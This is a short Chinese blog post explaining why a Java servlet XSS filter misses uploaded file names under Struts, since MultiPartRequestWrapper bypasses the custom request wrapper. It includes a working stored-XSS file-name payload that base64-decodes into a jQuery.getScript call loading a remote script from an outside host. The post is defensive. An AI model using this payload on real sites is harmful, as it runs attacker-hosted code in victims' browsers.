java處理xss漏洞的方法一般是配個filter,例如:
chain.doFilter(new XssHttpServletRequestWraper((HttpServletRequest) request), response);
寫個HttpServletRequestWrapper的子類XssHttpServletRequestWraper,重寫getParameter等方法(過濾),封裝request,然后繼續(xù)執(zhí)行filter鏈。(這部分會在之后會寫一篇說明)
但是文件名獲取不會走新寫的request包裝包裝器類,如果不加處理,存在存儲型xss漏洞。
例如:
文件名:<img src=x id=alF1ZXJ5LmdldFNjcmlwdCgiaHR0cHM6Ly9jb2RpbmcubmV0L3UveWFuZ3hpYW9kaS9wL3Rlc3QxL2dpdC9yYXcvbWFzdGVyLzMuanMiKQ onerror=eval(atob(this.id))>2.png"
atob是base64解碼方法,解碼之后jQuery.getScript("https://coding.net/u/yangxiaodi/p/test1/git/raw/master/3.js")
如果沒有得到過濾,前端獲取到文件名渲染時不經(jīng)過轉(zhuǎn)義(服務(wù)器存文件時未改名字),會執(zhí)行js腳本導(dǎo)致xss攻擊。
下文以struts為例說明

流程:1.走自己寫的xssfilter,封裝request。?
? ? ? ? ? 2.走struts的filter dispatcher,dofilter方法中會調(diào)用prepareDispatcherAndWrapRequest方法,prepare方法中根據(jù)contentType為multipart/form-data,使用MultiPartRequestWrapper封裝request. 其他情況用StrutsRequestWrapper封裝
?3.使用StrutsRequestWrapper封裝的情況下,調(diào)用getParameter,gerHeader等方法,都會經(jīng)過自己寫的filter類的。
4.MultiPartRequestWrapper?
public StringgetParameter(String name) {
? ? return ((multi ==null) || (multi.getParameter(name) ==null)) ?super.getParameter(name) :multi.getParameter(name);
}
其中multi中包含文件名的參數(shù),所以獲取文件名不會走自己寫的filter類。
綜上,文件名需要單獨處理。